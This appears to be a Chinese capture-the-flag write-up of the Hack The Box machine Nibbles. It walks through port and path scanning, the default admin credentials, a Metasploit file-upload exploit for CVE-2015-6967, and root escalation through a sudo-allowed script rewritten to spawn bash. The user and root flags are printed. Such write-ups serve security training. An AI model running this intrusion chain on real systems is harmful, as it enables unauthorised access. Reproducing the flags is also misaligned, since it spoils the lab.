HTB：Nibbles[WriteUP]

news2024/11/8 20:43:48

连接至HTB服务器并启动靶机

1.How many open TCP ports are listening on Nibbles?

使用nmap对靶机TCP端口进行开放扫描

2.What is the relative path on the webserver to a blog?

使用ffuf对靶机80端口Web进行路径FUZZ

3.What content management system (CMS) is being used by the blog?

使用浏览器对/nibbleblog进行访问

4.What is the relative path to an XML file that contains the admin username?

使用feroxbuster对靶机/nibbleblog目录下整体进行路径递归扫描

5.What is the admin user's password to log into the blog?

6.What version of nibble blog is running on the target machine? Do not include the "v".

7.What is the 2015 CVE ID for an authenticated code execution by file upload vulnerability in this version of NibbleBlog.

使用searchsploit搜索该BibbleBlog版本相关漏洞

8.Which user the Nibbleblog instance is running on the target machine?

9.Submit the flag located in the nibbler user's home directory.

USER_FLAG：74926960e8914c5566003d8978b366d4

10.What is the name of the script that nibbler can run as root on Nibbles?

11.Enter the permission set on monitor.sh? Use the Linux file permissions format, like -rw-rw-r--.

靶机中新建两个文件夹

12.Submit the flag located in root's home directory.

ROOT_FLAG：273ce39224dcf6ea02f2bc507a3e7c20

连接至HTB服务器并启动靶机

靶机IP：10.10.10.75

分配IP：10.10.14.12

1.How many open TCP ports are listening on Nibbles?

使用nmap对靶机TCP端口进行开放扫描

nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.10.75

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.10.75
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-07 00:58 EST
Nmap scan report for 10.10.10.75 (10.10.10.75)
Host is up (0.065s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 44.96 seconds

由扫描结果可知，靶机开放TCP端口：22、80共2个端口

2.What is the relative path on the webserver to a blog?

使用ffuf对靶机80端口Web进行路径FUZZ

可见文件index.html，直接使用浏览器对其进行访问，Ctrl+U查看源码

找到blog路径：/nibbleblog

3.What content management system (CMS) is being used by the blog?

使用浏览器对/nibbleblog进行访问

由页面显示可知，当前CMS为：Nibbles

4.What is the relative path to an XML file that contains the admin username?

使用feroxbuster对靶机/nibbleblog目录下整体进行路径递归扫描

feroxbuster --url http://10.10.10.75/nibbleblog/ -s 200,301,302 -W 0 -w ../dictionary/common.txt -t 200

在终端工具中，按住Ctrl+Shift+F对XML文件进行搜索

使用浏览器访问该文件(/nibbleblog/content/private/users.xml)，可见用户名：admin

5.What is the admin user's password to log into the blog?

因为feroxbuster扫出来的东西太乱了，使用ffuf再次对/nibbleblog目录下简单扫描

使用浏览器访问admin.php

Google上可以直接找到默认凭证

账户：admin

密码：nibbles

6.What version of nibble blog is running on the target machine? Do not include the "v".

访问之前扫到的README文件

获取该Nibbles版本：4.0.3

7.What is the 2015 CVE ID for an authenticated code execution by file upload vulnerability in this version of NibbleBlog.

使用searchsploit搜索该BibbleBlog版本相关漏洞

searchsploit Nibbleblog

将该rb文件拷贝到当前目录下

searchsploit -m 38489.rb

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 38489.rb
Exploit: Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)
      URL: https://www.exploit-db.com/exploits/38489
     Path: /usr/share/exploitdb/exploits/php/remote/38489.rb
    Codes: CVE-2015-6967, OSVDB-127059
Verified: True
File Type: Ruby script, ASCII text
Copied to: /home/kali/Desktop/temp/38489.rb

由描述可知，该EXP基于漏洞：CVE-2015-6967

8.Which user the Nibbleblog instance is running on the target machine?

该模块在MSF中，启动Metasploit

msfconsole

搜索nibbleblog相关利用模块

search nibbleblog

其他参数选项按照平常配置，其中目标URI

set TARGETURI /nibbleblog

执行getuid命令，由回显可知当前用户为：nibbler

9.Submit the flag located in the nibbler user's home directory.

切换到终端

shell

查找user_flag并查看其内容

find / -name 'user.txt' 2>/dev/null
/home/nibbler/user.txt
cat /home/nibbler/user.txt
74926960e8914c5566003d8978b366d4

USER_FLAG：74926960e8914c5566003d8978b366d4

10.What is the name of the script that nibbler can run as root on Nibbles?

查看当前用户可特权运行的命令

sudo -l

sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

由回显可知，当前用户可特权运行文件：monitor.sh

11.Enter the permission set on `monitor.sh`? Use the Linux file permissions format, like `-rw-rw-r--`.

直接cat该文件，居然提示文件不存在

由于这一题不存在该文件，更不用说查看它权限了，直接跳过不做此题

cat /home/nibbler/personal/stuff/monitor.sh
cat: /home/nibbler/personal/stuff/monitor.sh: No such file or directory

进入/home/nibbler目录下，发现连personal目录都没有

cd /home/nibbler
ls
personal.zip
user.txt
ls -a
.
..
.bash_history
.nano
personal.zip
user.txt

那就好办了，我们直接给它弄一个这文件出来直接getshell就行

靶机中新建两个文件夹

mkdir personal
cd personal
mkdir stuff
cd stuff

新建monitor.sh文件

nibbler@Nibbles:/home/nibbler/personal/stuff$ touch monitor.sh
touch monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls
ls
monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'bash -i' > monitor.sh
echo 'bash -i' > monitor.sh

直接运行该文件

sudo /home/nibbler/personal/stuff/monitor.sh

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
root@Nibbles:/home/nibbler/personal/stuff# whoami
whoami
root

12.Submit the flag located in root's home directory.

查找root_flag位置并查看其内容

root@Nibbles:/home/nibbler/personal/stuff# find / -name 'root.txt'
find / -name 'root.txt'
/root/root.txt
root@Nibbles:/home/nibbler/personal/stuff# cat /root/root.txt
cat /root/root.txt
273ce39224dcf6ea02f2bc507a3e7c20